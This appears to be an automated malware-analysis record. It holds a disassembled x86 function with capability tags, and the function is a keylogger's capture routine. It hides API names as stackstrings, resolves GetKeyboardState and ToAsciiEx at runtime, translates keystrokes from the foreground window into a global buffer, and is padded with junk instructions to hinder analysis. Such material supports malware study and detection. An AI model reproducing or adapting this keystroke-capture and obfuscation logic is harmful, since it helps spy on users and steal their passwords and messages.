Function at 0x100085d0
Capabilities:
Contain obfuscated stackstrings
Get keyboard layout
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80
mov al, byte [ebp + 0x10]
push ebx
mov bl, 0x65
mov dl, 0x6c
push esi
push edi
test al, al
mov byte [ebp - 0x28], 0x75
mov byte [ebp - 0x27], 0x73
mov byte [ebp - 0x26], bl
mov byte [ebp - 0x25], 0x72
mov byte [ebp - 0x24], 0x33
mov byte [ebp - 0x23], 0x32
mov byte [ebp - 0x22], 0x2e
mov byte [ebp - 0x21], 0x64
mov byte [ebp - 0x20], dl
mov byte [ebp - 0x1f], dl
mov byte [ebp - 0x1e], 0
je 0x1000876c
mov esi, dword [0x10025218]
mov ecx, 0xc
xor eax, eax
lea edi, [ebp - 0x80]
rep stosd dword es:[edi], eax
test esi, esi
mov dword [ebp - 0x80], 0x30
jne 0x10008704
mov al, 0x49
mov byte [ebp - 0x10], 0x75
mov byte [ebp - 0xf], 0x73
mov byte [ebp - 0xe], bl
mov byte [ebp - 0xd], 0x72
mov byte [ebp - 0xc], 0x33
mov byte [ebp - 0xb], 0x32
mov byte [ebp - 0xa], 0x2e
mov byte [ebp - 9], 0x64
mov byte [ebp - 8], dl
mov byte [ebp - 7], dl
mov byte [ebp - 6], 0
mov byte [ebp - 0x50], 0x47
mov byte [ebp - 0x4f], bl
mov byte [ebp - 0x4e], 0x74
mov byte [ebp - 0x4d], 0x47
mov byte [ebp - 0x4c], 0x55
mov byte [ebp - 0x4b], al
mov byte [ebp - 0x4a], 0x54
mov byte [ebp - 0x49], 0x68
mov byte [ebp - 0x48], 0x72
mov byte [ebp - 0x47], bl
mov byte [ebp - 0x46], 0x61
mov byte [ebp - 0x45], 0x64
mov byte [ebp - 0x44], al
mov byte [ebp - 0x43], 0x6e
mov byte [ebp - 0x42], 0x66
mov byte [ebp - 0x41], 0x6f
mov byte [ebp - 0x40], 0
push edx
mov edx, 0xa236cb63
add edx, eax
mov edx, 0x52d75fe8
nop
pop edx
push ebp
mov ebp, 0xee645bd4
mov ebp, 0xc12d9a0a
nop
pop ebp
lea eax, [ebp - 0x50]
lea ecx, [ebp - 0x10]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov esi, eax
test esi, esi
jne 0x100086fa
lea edx, [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
je 0x100086fa
lea eax, [ebp - 0x50]
lea ecx, [ebp - 0x10]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call edi
mov esi, eax
test esi, esi
mov dword [0x10025218], esi
je 0x10008717
lea edx, [ebp - 0x80]
push edx
push 0
call esi
test eax, eax
je 0x10008717
mov eax, dword [ebp - 0x74]
test eax, eax
jne 0x1000871d
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push edx
add edx, esp
xor edx, esp
add edx, esp
add edx, esp
pop edx
push 0
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push eax
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
mov cl, byte [0x10027ead]
mov dword [ebp - 0xc], eax
test cl, cl
je 0x1000875d
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jne 0x1000875d
mov edi, dword [ebp + 8]
push eax
push 0
push edi
call dword [sym.imp.USER32.dll_MapVirtualKeyExA]
mov dword [ebp + 0xc], eax
jmp 0x1000877a
mov eax, dword [0x10027ea8]
test eax, eax
je 0x10008777
push 0
call eax
jmp 0x10008777
push 0
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
mov dword [ebp - 0xc], eax
mov edi, dword [ebp + 8]
push eax
add eax, edx
xor eax, eax
add eax, esi
add eax, esp
and eax, ebx
sub eax, ecx
pop eax
mov byte [ebp - 0x3c], 0x47
mov byte [ebp - 0x3b], bl
mov byte [ebp - 0x3a], 0x74
mov byte [ebp - 0x39], 0x4b
mov byte [ebp - 0x38], bl
mov byte [ebp - 0x37], 0x79
mov byte [ebp - 0x36], 0x62
mov byte [ebp - 0x35], 0x6f
mov byte [ebp - 0x34], 0x61
mov byte [ebp - 0x33], 0x72
mov byte [ebp - 0x32], 0x64
mov byte [ebp - 0x31], 0x53
mov byte [ebp - 0x30], 0x74
mov byte [ebp - 0x2f], 0x61
mov byte [ebp - 0x2e], 0x74
mov byte [ebp - 0x2d], bl
mov byte [ebp - 0x2c], 0
push ebp
mov ebp, 0x4438447
sbb ebp, esi
add ebp, esp
sbb ebp, edx
pop ebp
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea eax, [ebp - 0x3c]
lea ecx, [ebp - 0x28]
push eax
push ecx
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
test eax, eax
jne 0x1000881a
lea edx, [ebp - 0x28]
push edx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
je 0x10008be7
lea eax, [ebp - 0x3c]
lea ecx, [ebp - 0x28]
push eax
push ecx
call esi
push eax
call ebx
test eax, eax
je 0x10008be7
push 0x100279b8
call eax
test eax, eax
je 0x10008be7
mov al, 0x69
mov byte [ebp - 0x1c], 0x54
mov byte [ebp - 0x1b], 0x6f
mov byte [ebp - 0x1a], 0x41
mov byte [ebp - 0x19], 0x73
mov byte [ebp - 0x18], 0x63
mov byte [ebp - 0x17], al
mov byte [ebp - 0x16], al
mov byte [ebp - 0x15], 0x45
mov byte [ebp - 0x14], 0x78
mov byte [ebp - 0x13], 0
push eax
mov eax, 0x82b0e092
xor eax, esp
xor eax, edx
sbb eax, eax
pop eax
lea edx, [ebp - 0x1c]
lea eax, [ebp - 0x28]
push edx
push eax
call esi
push eax
call ebx
mov esi, eax
test esi, esi
jne 0x1000889e
lea ecx, [ebp - 0x28]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
je 0x10008be7
lea edx, [ebp - 0x1c]
lea eax, [ebp - 0x28]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call ebx
mov esi, eax
test esi, esi
je 0x10008be7
mov byte [ebp + 0x13], 0
push ecx
sbb ecx, esi
add ecx, eax
sbb ecx, edx
sbb ecx, esp
add ecx, esi
sbb ecx, eax
sbb ecx, edx
nop
pop ecx
mov ebx, dword [ebp - 0xc]
mov edx, dword [ebp + 0xc]
push ebx
lea ecx, [ebp - 4]
push 0
push ecx
push 0x100279b8
push edx
push edi
call esi
test eax, eax
mov dword [ebp + 8], eax
je 0x10008be7
mov cl, byte [0x10027ead]
test cl, cl
jne 0x100088e3
cmp eax, 0xffffffff
je 0x100088ec
cmp eax, 2
jne 0x1000893d
test cl, cl
je 0x1000893d
push ebx
mov ebx, dword [ebp + 0xc]
lea eax, [ebp - 4]
push 0
push eax
push 0x100279b8
push ebx
push edi
call esi
mov dword [0x10027e9c], edi
mov ecx, 0x40
mov esi, 0x100279b8
mov edi, 0x10027d9c
mov byte [0x10027ea0], 1
mov dword [0x10027d98], ebx
rep movsd dword es:[edi], dword [esi]
push eax
mov eax, 0x12203042
sbb eax, esp
xor eax, esi
xor eax, eax
sbb eax, edx
xor eax, esp
pop eax
pop edi
pop esi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret
mov dl, byte [0x10027ea0]
test dl, dl
je 0x100089cc
test cl, cl
je 0x1000895a
cmp eax, 0xffffffff
jne 0x1000895a
mov byte [ebp + 0x13], 1
jmp 0x1000897b
mov edx, dword [0x10027d98]
mov eax, dword [0x10027e9c]
push ebx
lea ecx, [ebp - 0xc]
push 0
push ecx
push 0x10027d9c
push edx
push eax
call esi
mov cl, byte [0x10027ead]
test cl, cl
push ebx
push 0
je 0x10008997
mov edx, dword [ebp + 0xc]
lea ecx, [ebp - 4]
push ecx
push 0x100279b8
push edx
push edi
call esi
mov dword [ebp + 8], eax
jmp 0x100089c2
mov ecx, dword [ebp + 0xc]
lea eax, [ebp - 4]
push eax
push 0x100279b8
push ecx
push edi
call esi
mov eax, dword [0x10027d98]
mov ecx, dword [0x10027e9c]
push ebx
lea edx, [ebp - 0xc]
push 0
push edx
push 0x10027d9c
push eax
push ecx
call esi
mov eax, dword [ebp + 8]
mov byte [0x10027ea0], 0
push ebx
sbb ebx, esp
sbb ebx, eax
add ebx, esp
sbb ebx, eax
sbb ebx, esp
mov ebx, 0x17bd6611
pop ebx
mov cl, byte [ebp + 0x14]
test cl, cl
je 0x10008be7
mov ecx, dword [0x100270b0]
test ecx, ecx
jne 0x10008b28
cmp edi, 8
mov byte [ebp + 0x14], 0xd
mov byte [ebp + 0x15], 0xa
mov byte [ebp + 0x16], 0
jne 0x10008a8f
mov dl, byte [0x10025224]
xor eax, eax
mov dword [ebp - 0xb], eax
lea ecx, [ebp - 0xc]
mov word [ebp - 7], ax
mov eax, dword [0x10027eb8]
mov byte [ebp - 0xc], dl
mov edx, dword [0x10027eb0]
push ecx
mov ecx, dword [eax + 4]
push edx
push ecx
call fcn.100069c0
add esp, 0xc
mov esi, eax
push ecx
add ecx, esp
mov ecx, 0x8f67411d
sbb ecx, eax
xor ecx, esp
pop ecx
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
xor edx, edx
repne scasb al, byte es:[edi]
not ecx
dec ecx
test ecx, ecx
jle 0x10008a86
mov ebx, dword [0x10027994]
cmp ebx, 0x64
jge 0x10008a86
mov al, byte [edx + esi]
mov edi, esi
mov byte [ebx + 0x10027600], al
inc ebx
or ecx, 0xffffffff
xor eax, eax
mov dword [0x10027994], ebx
inc edx
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp edx, ecx
jl 0x10008a60
pop edi
pop esi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret
cmp edi, 0xd
jne 0x10008aeb
push eax
sbb eax, edx
add eax, eax
sbb eax, esi
sbb eax, esp
add eax, edx
nop
pop eax
lea edi, [ebp + 0x14]
or ecx, 0xffffffff
xor eax, eax
xor edx, edx
repne scasb al, byte es:[edi]
not ecx
dec ecx
test ecx, ecx
jle 0x10008ae2
mov esi, dword [0x10027994]
cmp esi, 0x64
jge 0x10008adc
mov cl, byte [ebp + edx + 0x14]
lea edi, [ebp + 0x14]
mov byte [esi + 0x10027600], cl
inc esi
or ecx, 0xffffffff
xor eax, eax
inc edx
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp edx, ecx
jl 0x10008aba
mov dword [0x10027994], esi
pop edi
pop esi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret
cmp edi, 0x1b
jne 0x10008af9
pop edi
pop esi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret
cmp edi, 9
jne 0x10008b28
push edx
mov edx, 0x29fc53ab
xor edx, edx
nop
pop edx
mov eax, dword [0x10027994]
cmp eax, 0x64
jge 0x10008b1f
mov byte [eax + 0x10027600], 9
inc eax
mov dword [0x10027994], eax
pop edi
pop esi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
cmp eax, 1
mov al, byte [ebp + 0x13]
mov byte [ebp + 0x14], cl
jg 0x10008b7c
test al, al
jne 0x10008b80
cmp cl, 0x1f
jbe 0x10008bde
push esi
mov esi, 0xe1ab7745
mov esi, 0xfce9054
sub esi, ecx
xor esi, esp
pop esi
push eax
sbb eax, eax
xor eax, edx
xor eax, esp
sbb eax, esi
pop eax
mov eax, dword [0x10027994]
cmp eax, 0x64
jge 0x10008bde
mov byte [eax + 0x10027600], cl
inc eax
pop edi
mov dword [0x10027994], eax
pop esi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret
test al, al
je 0x10008b85
mov byte [ebp + 0x15], cl
jmp 0x10008b8c
xor edx, edx
mov dl, ch
mov byte [ebp + 0x15], dl
mov byte [ebp + 0x16], 0
push ebp
mov ebp, 0x376697ca
add ebp, esi
sbb ebp, edx
sbb ebp, esi
pop ebp
lea edi, [ebp + 0x14]
or ecx, 0xffffffff
xor eax, eax
xor edx, edx
repne scasb al, byte es:[edi]
not ecx
dec ecx
test ecx, ecx
jle 0x10008bde
mov esi, dword [0x10027994]
cmp esi, 0x64
jge 0x10008bd8
mov al, byte [ebp + edx + 0x14]
lea edi, [ebp + 0x14]
mov byte [esi + 0x10027600], al
inc esi
or ecx, 0xffffffff
xor eax, eax
inc edx
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp edx, ecx
jl 0x10008bb6
mov dword [0x10027994], esi
pop edi
pop esi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret